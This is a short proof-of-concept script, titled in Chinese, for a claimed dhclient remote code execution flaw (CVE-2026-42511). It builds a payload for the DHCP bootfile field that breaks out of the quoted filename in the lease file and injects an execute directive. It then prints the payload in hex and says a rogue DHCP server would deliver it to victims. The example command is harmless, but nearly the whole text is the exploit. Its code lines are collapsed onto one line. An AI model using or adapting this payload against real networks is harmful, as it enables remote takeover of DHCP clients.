CVE-2026-42511 dhclient BOOTP文件字段注入导致远程代码执行

import binascii # Proof of Concept for CVE-2026-42511 # This demonstrates how to craft a malicious DHCP option 67 (Bootfile Name) # to inject commands into the dhclient lease file. # normally the bootfile is quoted in the lease file, e.g.: # filename "bootfile"; # By injecting a double quote, we close the string and can add new directives. # Payload intends to execute a shell command when dhclient parses the lease. # Malicious payload: # 1. Close the existing quote: " # 2. Add a newline to start a new directive (represented as hex in packet) # 3. Inject an 'execute' directive with a malicious command # Example command: touch /tmp/pwned malicious_command = "touch /tmp/pwned" # Constructing the payload string that will go into the DHCP packet's file field # We use hex representation for clarity in packet crafting # Payload: "; execute("touch /tmp/pwned"); # # This breaks out of the filename string, adds an execute call, and comments the rest. payload = '"; execute("' + malicious_command + '"); #' print(f"[*] Generated Payload for BOOTP File Field:") print(f"{payload}") print(f"[*] Hex representation:") print(binascii.hexlify(payload.encode('utf-8')).decode('utf-8')) # Note: To test this, one would need to set up a rogue DHCP server (e.g., using dnsmasq or scapy) # and respond to a victim DHCP request with this payload in the 'file' field (Option 67 or bootfile field).